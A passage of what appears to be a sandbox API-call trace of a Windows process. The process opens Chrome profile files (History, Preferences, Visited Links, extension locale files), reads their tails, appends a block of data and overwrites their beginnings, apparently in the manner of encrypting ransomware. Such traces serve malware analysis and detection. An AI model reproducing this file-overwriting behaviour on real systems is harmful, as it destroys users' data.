HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.817] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.817] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x419f [0051.817] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.817] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.817] ReleaseMutex (hMutex=0x128) returned 1 [0051.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.817] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.819] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x319f [0051.819] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.819] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x319f [0051.819] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.819] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0051.820] WriteFile (in: hFile=0x1ac, lpBuffer=0x261c838*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261c838*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.820] CloseHandle (hObject=0x1ac) returned 1 [0051.820] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.820] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.820] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x403a [0051.820] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.820] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.820] ReleaseMutex (hMutex=0x128) returned 1 [0051.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.820] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.822] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x303a [0051.822] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.822] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x303a [0051.823] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.823] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0051.823] WriteFile (in: hFile=0x1ac, lpBuffer=0x261c838*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261c838*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.823] CloseHandle (hObject=0x1ac) returned 1 [0051.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.824] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.824] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3fdc [0051.824] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.824] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.824] ReleaseMutex (hMutex=0x128) returned 1 [0051.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.824] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.825] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2fdc [0051.825] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.826] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2fdc [0051.826] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.826] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0051.826] WriteFile (in: hFile=0x1ac, lpBuffer=0x261c838*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261c838*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.826] CloseHandle (hObject=0x1ac) returned 1 [0051.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.827] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.827] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x5593 [0051.827] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.827] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.827] ReleaseMutex (hMutex=0x128) returned 1 [0051.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.827] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.828] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x4593 [0051.829] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.829] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x4593 [0051.829] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.829] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0051.829] WriteFile (in: hFile=0x1ac, lpBuffer=0x261c838*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261c838*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.829] CloseHandle (hObject=0x1ac) returned 1 [0051.830] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.830] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.830] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x19000 [0051.830] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.830] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.830] ReleaseMutex (hMutex=0x128) returned 1 [0051.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="History", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0051.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="History", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="History", lpUsedDefaultChar=0x0) returned 7 [0051.830] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.832] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x18000 [0051.832] ReadFile (in: hFile=0x1ac, lpBuffer=0x261b6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x261b6d8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.832] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x18000 [0051.832] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.833] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0051.833] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.833] CloseHandle (hObject=0x1ac) returned 1 [0051.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.834] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.834] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1a9d [0051.834] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.834] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.834] ReleaseMutex (hMutex=0x128) returned 1 [0051.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Preferences", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Preferences", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Preferences", lpUsedDefaultChar=0x0) returned 11 [0051.834] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1a9d, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f2bc*=0x1a9d, lpOverlapped=0x0) returned 1 [0051.836] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.836] WriteFile (in: hFile=0x1ac, lpBuffer=0x261b208*, nNumberOfBytesToWrite=0x2025, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261b208*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2025, lpOverlapped=0x0) returned 1 [0051.836] CloseHandle (hObject=0x1ac) returned 1 [0051.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.837] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.837] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x20000 [0051.837] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.837] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.837] ReleaseMutex (hMutex=0x128) returned 1 [0051.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Visited Links", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Visited Links", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visited Links", lpUsedDefaultChar=0x0) returned 13 [0051.837] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0052.265] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1f000 [0052.265] ReadFile (in: hFile=0x1ac, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.270] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1f000 [0052.270] WriteFile (in: hFile=0x1ac, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.271] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0052.271] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0052.271] CloseHandle (hObject=0x1ac) returned 1 [0052.271] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0052.273] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0052.273] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x8000 [0052.273] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0052.273] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.273] ReleaseMutex (hMutex=0x128) returned 1 [0052.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Suggested Sites~.feed-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0052.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Suggested Sites~.feed-ms", cchWideChar=24, lpMultiByteStr=0x1e7fb4c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Suggested Sites~.feed-ms", lpUsedDefaultChar=0x0) returned 24 [0052.273] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.275] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x7000 [0052.275] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: 